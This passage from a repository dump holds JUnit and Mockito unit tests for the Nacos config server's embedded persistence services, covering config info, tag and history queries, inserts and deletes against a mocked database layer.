\n        //blank ids.\n        List<ConfigInfo> nullResultBlankIds = embeddedConfigInfoPersistService.findConfigInfosByIds(\"\");\n        assertTrue(nullResultBlankIds == null);\n        \n    }\n    \n    @Test\n    void testFindConfigAdvanceInfo() {\n        \n        String dataId = \"dataId1324\";\n        String group = \"group23546\";\n        String tenant = \"tenant13245\";\n        //mock select tags\n        List<String> mockTags = Arrays.asList(\"tag1\", \"tag2\", \"tag3\");\n        when(databaseOperate.queryMany(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(String.class))).thenReturn(mockTags);\n        \n        String schema = \"schema12345654\";\n        //mock select config advance\n        ConfigAdvanceInfo mockedAdvance = new ConfigAdvanceInfo();\n        mockedAdvance.setSchema(schema);\n        when(databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_ADVANCE_INFO_ROW_MAPPER))).thenReturn(mockedAdvance);\n        \n        //execute return mock obj\n        ConfigAdvanceInfo configAdvanceInfo = embeddedConfigInfoPersistService.findConfigAdvanceInfo(dataId, group,\n                tenant);\n        //expect check schema & tags.\n        assertEquals(mockedAdvance.getSchema(), configAdvanceInfo.getSchema());\n        assertEquals(String.join(\",\", mockTags), configAdvanceInfo.getConfigTags());\n    }\n    \n    @Test\n    void testFindConfigAllInfo() {\n        \n        String dataId = \"dataId1324\";\n        String group = \"group23546\";\n        String tenant = \"tenant13245\";\n        //mock select tags\n        List<String> mockTags = Arrays.asList(\"tag1\", \"tag2\", \"tag3\");\n        when(databaseOperate.queryMany(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(String.class))).thenReturn(mockTags);\n        \n        String schema = \"schema12345654\";\n        //mock select config advance\n        ConfigAllInfo mockedConfig = new ConfigAllInfo();\n        mockedConfig.setSchema(schema);\n        when(databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_ALL_INFO_ROW_MAPPER))).thenReturn(mockedConfig);\n        \n        //execute return mock obj\n        ConfigAllInfo configAllInfo = embeddedConfigInfoPersistService.findConfigAllInfo(dataId, group, tenant);\n        //expect check schema & tags.\n        assertEquals(mockedConfig.getSchema(), configAllInfo.getSchema());\n        assertEquals(String.join(\",\", mockTags), configAllInfo.getConfigTags());\n        \n    }\n    \n    @Test\n    void testFindConfigInfoState() {\n        \n        String dataId = \"dataId1324\";\n        String group = \"group23546\";\n        String tenant = \"tenant13245\";\n        \n        //mock select config state\n        ConfigInfoStateWrapper mockedConfig = new ConfigInfoStateWrapper();\n        mockedConfig.setLastModified(2345678L);\n        mockedConfig.setId(23456789098765L);\n        when(databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(mockedConfig);\n        \n        //execute return mock obj\n        ConfigInfoStateWrapper configInfoStateWrapper = embeddedConfigInfoPersistService.findConfigInfoState(dataId,\n                group, tenant);\n        //expect check schema & tags.\n        assertEquals(mockedConfig.getId(), configInfoStateWrapper.getId());\n        assertEquals(mockedConfig.getLastModified(), configInfoStateWrapper.getLastModified());\n    }\n    \n    @Test\n    void testFindAllConfigInfo4Export() {\n        \n        //mock select config state\n        List<ConfigAllInfo> mockConfigs = new ArrayList<>();\n        mockConfigs.add(createMockConfigAllInfo(0));\n        mockConfigs.add(createMockConfigAllInfo(1));\n        mockConfigs.add(createMockConfigAllInfo(2));\n        \n        String dataId = \"dataId1324\";\n        String group = \"group23546\";\n        String tenant = \"tenant13245\";\n        String appName = \"appName1243\";\n        List<Long> ids = Arrays.asList(132L, 1343L, 245L);\n        \n        when(databaseOperate.queryMany(anyString(), eq(new Object[] {132L, 1343L, 245L}),\n                eq(CONFIG_ALL_INFO_ROW_MAPPER))).thenReturn(mockConfigs);\n        //execute return mock obj\n        List<ConfigAllInfo> configAllInfosIds = embeddedConfigInfoPersistService.findAllConfigInfo4Export(dataId, group,\n                tenant, appName, ids);\n        //expect check\n        assertEquals(mockConfigs, configAllInfosIds);\n        \n        when(databaseOperate.queryMany(anyString(), eq(new Object[] {tenant, dataId, group, appName}),\n                eq(CONFIG_ALL_INFO_ROW_MAPPER))).thenReturn(mockConfigs);\n        //execute return mock obj\n        List<ConfigAllInfo> configAllInfosWithDataId = embeddedConfigInfoPersistService.findAllConfigInfo4Export(dataId,\n                group, tenant, appName, null);\n        //expect check\n        assertEquals(mockConfigs, configAllInfosWithDataId);\n        \n    }\n    \n    @Test\n    void testQueryConfigInfoByNamespace() {\n        \n        //mock select config state\n        List<ConfigInfoWrapper> mockConfigs = new ArrayList<>();\n        mockConfigs.add(createMockConfigInfoWrapper(0));\n        mockConfigs.add(createMockConfigInfoWrapper(1));\n        mockConfigs.add(createMockConfigInfoWrapper(2));\n        String tenant = \"tenant13245\";\n        when(databaseOperate.queryMany(anyString(), eq(new Object[] {tenant}),\n                eq(CONFIG_INFO_WRAPPER_ROW_MAPPER))).thenReturn(mockConfigs);\n        //execute return mock obj\n        List<ConfigInfoWrapper> configInfoWrappers = embeddedConfigInfoPersistService.queryConfigInfoByNamespace(\n                tenant);\n        //expect check\n        assertEquals(mockConfigs, configInfoWrappers);\n    }\n    \n    @Test\n    void testGetTenantIdList() {\n        \n        //mock select config state\n        List<String> tenantStrings = Arrays.asList(\"tenant1\", \"tenant2\", \"tenant3\");\n        Map<String, Object> g1 = new HashMap<>();\n        g1.put(\"TENANT_ID\", tenantStrings.get(0));\n        Map<String, Object> g2 = new HashMap<>();\n        g2.put(\"TENANT_ID\", tenantStrings.get(1));\n        Map<String, Object> g3 = new HashMap<>();\n        g3.put(\"TENANT_ID\", tenantStrings.get(2));\n        List<Map<String, Object>> params = new ArrayList<>();\n        params.addAll(Arrays.asList(g1, g2, g3));\n        \n        when(databaseOperate.queryMany(anyString(), eq(new Object[] {}), eq(MAP_ROW_MAPPER))).thenReturn(params);\n        int page = 10;\n        int pageSize = 100;\n        //execute return mock obj\n        List<String> returnTenants = embeddedConfigInfoPersistService.getTenantIdList(page, pageSize);\n        //expect check\n        assertEquals(tenantStrings, returnTenants);\n    }\n    \n    @Test\n    void testGetGroupIdList() {\n        \n        //mock select config state\n        List<String> groupStrings = Arrays.asList(\"group1\", \"group2\", \"group3\");\n        \n        Map<String, Object> g1 = new HashMap<>();\n        g1.put(\"GROUP_ID\", groupStrings.get(0));\n        Map<String, Object> g2 = new HashMap<>();\n        g2.put(\"GROUP_ID\", groupStrings.get(1));\n        Map<String, Object> g3 = new HashMap<>();\n        g3.put(\"GROUP_ID\", groupStrings.get(2));\n        List<Map<String, Object>> params = new ArrayList<>();\n        params.addAll(Arrays.asList(g1, g2, g3));\n        when(databaseOperate.queryMany(anyString(), eq(new Object[] {}), eq(MAP_ROW_MAPPER))).thenReturn(params);\n        int page = 10;\n        int pageSize = 100;\n        //execute return mock obj\n        List<String> returnGroups = embeddedConfigInfoPersistService.getGroupIdList(page, pageSize);\n        \n        //expect check\n        assertEquals(groupStrings, returnGroups);\n    }\n    \n    @Test\n    void testFindAllConfigInfoFragment() {\n        //mock page list\n        List<ConfigInfoWrapper> mockConfigs = new ArrayList<>();\n        mockConfigs.add(createMockConfigInfoWrapper(0));\n        mockConfigs.add(createMockConfigInfoWrapper(1));\n        mockConfigs.add(createMockConfigInfoWrapper(2));\n        long lastId = 10111L;\n        when(databaseOperate.queryMany(anyString(), eq(new Object[] {lastId}),\n                eq(CONFIG_INFO_WRAPPER_ROW_MAPPER))).thenReturn(mockConfigs);\n        int pageSize = 100;\n        //execute return mock obj\n        Page<ConfigInfoWrapper> returnConfigPage = embeddedConfigInfoPersistService.findAllConfigInfoFragment(lastId,\n                pageSize, true);\n        //expect check\n        assertEquals(mockConfigs, returnConfigPage.getPageItems());\n        \n    }\n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/repository/embedded/EmbeddedConfigInfoTagPersistServiceImplTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository.embedded;\n\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoTagWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigOperateResult;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.persistence.repository.embedded.EmbeddedStorageContextHolder;\nimport com.alibaba.nacos.persistence.repository.embedded.operate.DatabaseOperate;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\n\nimport java.sql.Timestamp;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\n\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_TAG_WRAPPER_ROW_MAPPER;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.when;\n\n/**\n * test for embedded config tag.\n *\n * @author shiyiyue\n */\n@ExtendWith(SpringExtension.class)\nclass EmbeddedConfigInfoTagPersistServiceImplTest {\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    MockedStatic<EmbeddedStorageContextHolder> embeddedStorageContextHolderMockedStatic;\n    \n    MockedStatic<DynamicDataSource> dynamicDataSourceMockedStatic;\n    \n    @Mock\n    DynamicDataSource dynamicDataSource;\n    \n    @Mock\n    DatabaseOperate databaseOperate;\n    \n    private EmbeddedConfigInfoTagPersistServiceImpl embeddedConfigInfoTagPersistService;\n    \n    @Mock\n    private DataSourceService dataSourceService;\n    \n    @BeforeEach\n    void before() {\n        embeddedStorageContextHolderMockedStatic = Mockito.mockStatic(EmbeddedStorageContextHolder.class);\n        dynamicDataSourceMockedStatic = Mockito.mockStatic(DynamicDataSource.class);\n        envUtilMockedStatic = Mockito.mockStatic(EnvUtil.class);\n        when(DynamicDataSource.getInstance()).thenReturn(dynamicDataSource);\n        when(dynamicDataSource.getDataSource()).thenReturn(dataSourceService);\n        when(dataSourceService.getDataSourceType()).thenReturn(\"derby\");\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(anyString(), eq(Boolean.class), eq(false))).thenReturn(false);\n        embeddedConfigInfoTagPersistService = new EmbeddedConfigInfoTagPersistServiceImpl(databaseOperate);\n    }\n    \n    @AfterEach\n    void after() {\n        dynamicDataSourceMockedStatic.close();\n        envUtilMockedStatic.close();\n        embeddedStorageContextHolderMockedStatic.close();\n    }\n    \n    @Test\n    void testInsertOrUpdateTagOfAdd() {\n        String dataId = \"dataId111222\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String appName = \"appname1234\";\n        String content = \"c12345\";\n        \n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key23456\");\n        //mock query config state empty and return obj after insert\n        ConfigInfoStateWrapper configInfoStateWrapper = new ConfigInfoStateWrapper();\n        configInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        configInfoStateWrapper.setId(234567890L);\n        String tag = \"tag123\";\n        \n        Mockito.when(databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant, tag}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(null).thenReturn(configInfoStateWrapper);\n        \n        String srcIp = \"ip345678\";\n        String srcUser = \"user1234567\";\n        ConfigOperateResult configOperateResult = embeddedConfigInfoTagPersistService.insertOrUpdateTag(configInfo, tag, srcIp, srcUser);\n        \n        //mock insert invoked.\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), eq(dataId), eq(group), eq(tenant), eq(tag), eq(appName),\n                        eq(content), eq(MD5Utils.md5Hex(content, Constants.PERSIST_ENCODE)), eq(srcIp), eq(srcUser), any(Timestamp.class),\n                        any(Timestamp.class)), times(1));\n        assertEquals(configInfoStateWrapper.getId(), configOperateResult.getId());\n        assertEquals(configInfoStateWrapper.getLastModified(), configOperateResult.getLastModified());\n        \n    }\n    \n    @Test\n    void testInsertOrUpdateTagOfUpdate() {\n        String dataId = \"dataId111222\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String appName = \"appname1234\";\n        String content = \"c12345\";\n        \n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key23456\");\n        //mock query config state and return obj after update\n        ConfigInfoStateWrapper configInfoStateWrapper = new ConfigInfoStateWrapper();\n        configInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        configInfoStateWrapper.setId(234567890L);\n        String tag = \"tag123\";\n        \n        Mockito.when(databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant, tag}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(new ConfigInfoStateWrapper()).thenReturn(configInfoStateWrapper);\n        String srcIp = \"ip345678\";\n        String srcUser = \"user1234567\";\n        ConfigOperateResult configOperateResult = embeddedConfigInfoTagPersistService.insertOrUpdateTag(configInfo, tag, srcIp, srcUser);\n        //verify update to be invoked\n        embeddedStorageContextHolderMockedStatic.verify(() -> EmbeddedStorageContextHolder.addSqlContext(anyString(), eq(content),\n                eq(MD5Utils.md5Hex(content, Constants.PERSIST_ENCODE)), eq(srcIp), eq(srcUser), any(Timestamp.class), eq(appName),\n                eq(dataId), eq(group), eq(tenant), eq(tag)), times(1));\n        assertEquals(configInfoStateWrapper.getId(), configOperateResult.getId());\n        assertEquals(configInfoStateWrapper.getLastModified(), configOperateResult.getLastModified());\n        \n    }\n    \n    @Test\n    void testInsertOrUpdateTagCasOfAdd() {\n        String dataId = \"dataId111222\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String appName = \"appname1234\";\n        String content = \"c12345\";\n        \n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key23456\");\n        configInfo.setMd5(\"casMd5\");\n        //mock query config state empty and return obj after insert\n        ConfigInfoStateWrapper configInfoStateWrapper = new ConfigInfoStateWrapper();\n        configInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        configInfoStateWrapper.setId(234567890L);\n        String tag = \"tag123\";\n        \n        Mockito.when(databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant, tag}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(null).thenReturn(configInfoStateWrapper);\n        \n        String srcIp = \"ip345678\";\n        String srcUser = \"user1234567\";\n        ConfigOperateResult configOperateResult = embeddedConfigInfoTagPersistService.insertOrUpdateTagCas(configInfo, tag, srcIp, srcUser);\n        //verify insert to be invoked\n        //mock insert invoked.\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), eq(dataId), eq(group), eq(tenant), eq(tag), eq(appName),\n                        eq(content), eq(MD5Utils.md5Hex(content, Constants.PERSIST_ENCODE)), eq(srcIp), eq(srcUser), any(Timestamp.class),\n                        any(Timestamp.class)), times(1));\n        assertEquals(configInfoStateWrapper.getId(), configOperateResult.getId());\n        assertEquals(configInfoStateWrapper.getLastModified(), configOperateResult.getLastModified());\n        \n    }\n    \n    @Test\n    void testInsertOrUpdateTagCasOfUpdate() {\n        String dataId = \"dataId111222\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String appName = \"appname1234\";\n        String content = \"c12345\";\n        \n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key23456\");\n        configInfo.setMd5(\"casMd5\");\n        //mock query config state and return obj after update\n        ConfigInfoStateWrapper configInfoStateWrapper = new ConfigInfoStateWrapper();\n        configInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        configInfoStateWrapper.setId(234567890L);\n        String tag = \"tag123\";\n        Mockito.when(databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant, tag}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(new ConfigInfoStateWrapper()).thenReturn(configInfoStateWrapper);\n        String srcIp = \"ip345678\";\n        String srcUser = \"user1234567\";\n        \n        //mock cas update return 1\n        Mockito.when(databaseOperate.blockUpdate()).thenReturn(true);\n        ConfigOperateResult configOperateResult = embeddedConfigInfoTagPersistService.insertOrUpdateTagCas(configInfo, tag, srcIp, srcUser);\n        //verify update to be invoked\n        embeddedStorageContextHolderMockedStatic.verify(() -> EmbeddedStorageContextHolder.addSqlContext(anyString(), eq(content),\n                eq(MD5Utils.md5Hex(content, Constants.PERSIST_ENCODE)), eq(srcIp), eq(srcUser), any(Timestamp.class), eq(appName),\n                eq(dataId), eq(group), eq(tenant), eq(tag), eq(configInfo.getMd5())), times(1));\n        assertEquals(configInfoStateWrapper.getId(), configOperateResult.getId());\n        assertEquals(configInfoStateWrapper.getLastModified(), configOperateResult.getLastModified());\n    }\n    \n    @Test\n    void testRemoveConfigInfoTag() {\n        String dataId = \"dataId1112222\";\n        String group = \"group22\";\n        String tenant = \"tenant2\";\n        String tag = \"tag123345\";\n        String srcIp = \"ip345678\";\n        String srcUser = \"user1234567\";\n        embeddedConfigInfoTagPersistService.removeConfigInfoTag(dataId, group, tenant, tag, srcIp, srcUser);\n        //verify delete sql invoked.\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), eq(dataId), eq(group), eq(tenant), eq(tag)), times(1));\n    }\n    \n    @Test\n    void testFindConfigInfo4Tag() {\n        String dataId = \"dataId1112222\";\n        String group = \"group22\";\n        String tenant = \"tenant2\";\n        String tag = \"tag123345\";\n        \n        //mock query tag return obj\n        ConfigInfoTagWrapper configInfoTagWrapperMocked = new ConfigInfoTagWrapper();\n        configInfoTagWrapperMocked.setLastModified(System.currentTimeMillis());\n        \n        Mockito.when(databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant, tag}),\n                eq(CONFIG_INFO_TAG_WRAPPER_ROW_MAPPER))).thenReturn(configInfoTagWrapperMocked);\n        \n        ConfigInfoTagWrapper configInfo4TagReturn = embeddedConfigInfoTagPersistService.findConfigInfo4Tag(dataId, group, tenant, tag);\n        assertEquals(configInfoTagWrapperMocked, configInfo4TagReturn);\n    }\n    \n    @Test\n    void testConfigInfoTagCount() {\n        Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n        \n        //mock count\n        Mockito.when(databaseOperate.queryOne(anyString(), eq(Integer.class))).thenReturn(308);\n        //execute & verify\n        int count = embeddedConfigInfoTagPersistService.configInfoTagCount();\n        assertEquals(308, count);\n    }\n    \n    @Test\n    void testFindAllConfigInfoTagForDumpAll() {\n        \n        //mock count\n        Mockito.when(databaseOperate.queryOne(anyString(), eq(Integer.class))).thenReturn(308);\n        List<ConfigInfoTagWrapper> mockTagList = new ArrayList<>();\n        mockTagList.add(new ConfigInfoTagWrapper());\n        mockTagList.add(new ConfigInfoTagWrapper());\n        mockTagList.add(new ConfigInfoTagWrapper());\n        mockTagList.get(0).setLastModified(System.currentTimeMillis());\n        mockTagList.get(1).setLastModified(System.currentTimeMillis());\n        mockTagList.get(2).setLastModified(System.currentTimeMillis());\n        //mock query list\n        Mockito.when(databaseOperate.queryMany(anyString(), eq(new Object[] {}), eq(CONFIG_INFO_TAG_WRAPPER_ROW_MAPPER)))\n                .thenReturn(mockTagList);\n        int pageNo = 3;\n        int pageSize = 100;\n        //execute & verify\n        Page<ConfigInfoTagWrapper> returnTagPage = embeddedConfigInfoTagPersistService.findAllConfigInfoTagForDumpAll(pageNo, pageSize);\n        assertEquals(308, returnTagPage.getTotalCount());\n        assertEquals(mockTagList, returnTagPage.getPageItems());\n    }\n    \n    @Test\n    void testFindConfigInfoTags() {\n        String dataId = \"dataId1112222\";\n        String group = \"group22\";\n        String tenant = \"tenant2\";\n        List<String> mockedTags = Arrays.asList(\"tags1\", \"tags11\", \"tags111\");\n        Mockito.when(databaseOperate.queryMany(anyString(), eq(new Object[] {dataId, group, tenant}), eq(String.class)))\n                .thenReturn(mockedTags);\n        List<String> configInfoTags = embeddedConfigInfoTagPersistService.findConfigInfoTags(dataId, group, tenant);\n        assertEquals(mockedTags, configInfoTags);\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/repository/embedded/EmbeddedHistoryConfigInfoPersistServiceImplTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository.embedded;\n\nimport com.alibaba.nacos.config.server.model.ConfigHistoryInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.persistence.repository.embedded.EmbeddedStorageContextHolder;\nimport com.alibaba.nacos.persistence.repository.embedded.operate.DatabaseOperate;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\n\nimport java.sql.Timestamp;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.HISTORY_DETAIL_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.HISTORY_LIST_ROW_MAPPER;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.when;\n\n/**\n * test for embedded config history.\n *\n * @author shiyiyue\n */\n@ExtendWith(SpringExtension.class)\nclass EmbeddedHistoryConfigInfoPersistServiceImplTest {\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    MockedStatic<EmbeddedStorageContextHolder> embeddedStorageContextHolderMockedStatic;\n    \n    MockedStatic<DynamicDataSource> dynamicDataSourceMockedStatic;\n    \n    @Mock\n    DynamicDataSource dynamicDataSource;\n    \n    @Mock\n    DatabaseOperate databaseOperate;\n    \n    private EmbeddedHistoryConfigInfoPersistServiceImpl embeddedHistoryConfigInfoPersistService;\n    \n    @Mock\n    private DataSourceService dataSourceService;\n    \n    @BeforeEach\n    void before() {\n        embeddedStorageContextHolderMockedStatic = Mockito.mockStatic(EmbeddedStorageContextHolder.class);\n        dynamicDataSourceMockedStatic = Mockito.mockStatic(DynamicDataSource.class);\n        envUtilMockedStatic = Mockito.mockStatic(EnvUtil.class);\n        when(DynamicDataSource.getInstance()).thenReturn(dynamicDataSource);\n        when(dynamicDataSource.getDataSource()).thenReturn(dataSourceService);\n        when(dataSourceService.getDataSourceType()).thenReturn(\"derby\");\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(anyString(), eq(Boolean.class), eq(false)))\n                .thenReturn(false);\n        embeddedHistoryConfigInfoPersistService = new EmbeddedHistoryConfigInfoPersistServiceImpl(databaseOperate);\n    }\n    \n    @AfterEach\n    void after() {\n        dynamicDataSourceMockedStatic.close();\n        envUtilMockedStatic.close();\n        embeddedStorageContextHolderMockedStatic.close();\n    }\n    \n    @Test\n    void testInsertConfigHistoryAtomic() {\n        String dataId = \"dateId243\";\n        String group = \"group243\";\n        String tenant = \"tenant243\";\n        String content = \"content243\";\n        String appName = \"appName243\";\n        long id = 123456787765432L;\n        String srcUser = \"user12345\";\n        String srcIp = \"ip1234\";\n        String ops = \"D\";\n        String publishType = \"formal\";\n        String extraInfo = \"{\\\"type\\\":\\\"properties\\\"}\";\n        Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key23456\");\n        //expect insert success,verify insert invoked\n        embeddedHistoryConfigInfoPersistService.insertConfigHistoryAtomic(id, configInfo, srcIp, srcUser, timestamp,\n                ops, publishType, null, extraInfo);\n        \n        //verify insert to be invoked\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), eq(id), eq(dataId), eq(group), eq(tenant),\n                        eq(appName), eq(content), eq(configInfo.getMd5()), eq(srcIp), eq(srcUser), eq(timestamp),\n                        eq(ops), eq(publishType), eq(\"\"), eq(extraInfo), eq(configInfo.getEncryptedDataKey())),\n                times(1));\n    }\n    \n    @Test\n    void testRemoveConfigHistory() {\n        Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n        int pageSize = 1233;\n        embeddedHistoryConfigInfoPersistService.removeConfigHistory(timestamp, pageSize);\n        //verify delete by time and size invoked.\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), eq(timestamp), eq(pageSize)), times(1));\n    }\n    \n    @Test\n    void testFindDeletedConfig() {\n        \n        //mock query list return\n        ConfigHistoryInfo mockObj1 = new ConfigHistoryInfo();\n        mockObj1.setDataId(\"data_id1\");\n        mockObj1.setGroup(\"group_id1\");\n        mockObj1.setTenant(\"tenant_id1\");\n        mockObj1.setMd5(\"md51\");\n        mockObj1.setLastModifiedTime(new Timestamp(System.currentTimeMillis()));\n        \n        List<ConfigHistoryInfo> list = new ArrayList<>();\n        list.add(mockObj1);\n        ConfigHistoryInfo mockObj2 = new ConfigHistoryInfo();\n        mockObj2.setDataId(\"data_id2\");\n        mockObj2.setGroup(\"group_id2\");\n        mockObj2.setTenant(\"tenant_id2\");\n        mockObj2.setMd5(\"md52\");\n        mockObj2.setLastModifiedTime(new Timestamp(System.currentTimeMillis()));\n        list.add(mockObj2);\n        int pageSize = 1233;\n        long startId = 23456;\n        Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n        String publishType = \"formal\";\n        Mockito.when(\n                databaseOperate.queryMany(anyString(), eq(new Object[] {publishType, timestamp, startId, pageSize}),\n                        eq(HISTORY_DETAIL_ROW_MAPPER))).thenReturn(list);\n        //execute\n        List<ConfigInfoStateWrapper> deletedConfig = embeddedHistoryConfigInfoPersistService.findDeletedConfig(\n                timestamp, startId, pageSize, \"formal\");\n        //expect verify\n        assertEquals(\"data_id1\", deletedConfig.get(0).getDataId());\n        assertEquals(\"group_id1\", deletedConfig.get(0).getGroup());\n        assertEquals(\"tenant_id1\", deletedConfig.get(0).getTenant());\n        assertEquals(mockObj1.getLastModifiedTime(), new Timestamp(deletedConfig.get(0).getLastModified()));\n        assertEquals(\"data_id2\", deletedConfig.get(1).getDataId());\n        assertEquals(\"group_id2\", deletedConfig.get(1).getGroup());\n        assertEquals(\"tenant_id2\", deletedConfig.get(1).getTenant());\n        assertEquals(mockObj2.getLastModifiedTime(), new Timestamp(deletedConfig.get(1).getLastModified()));\n    }\n    \n    @Test\n    void testFindConfigHistory() {\n        String dataId = \"dataId34567\";\n        String group = \"group34567\";\n        String tenant = \"tenant34567\";\n        \n        //mock count\n        Mockito.when(databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant}), eq(Integer.class)))\n                .thenReturn(300);\n        //mock list\n        List<ConfigHistoryInfo> mockList = new ArrayList<>();\n        mockList.add(createMockConfigHistoryInfo(0));\n        mockList.add(createMockConfigHistoryInfo(1));\n        mockList.add(createMockConfigHistoryInfo(2));\n        Mockito.when(databaseOperate.queryMany(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(HISTORY_LIST_ROW_MAPPER))).thenReturn(mockList);\n        int pageSize = 100;\n        int pageNo = 2;\n        //execute & verify\n        Page<ConfigHistoryInfo> historyReturn = embeddedHistoryConfigInfoPersistService.findConfigHistory(dataId, group,\n                tenant, pageNo, pageSize);\n        assertEquals(mockList, 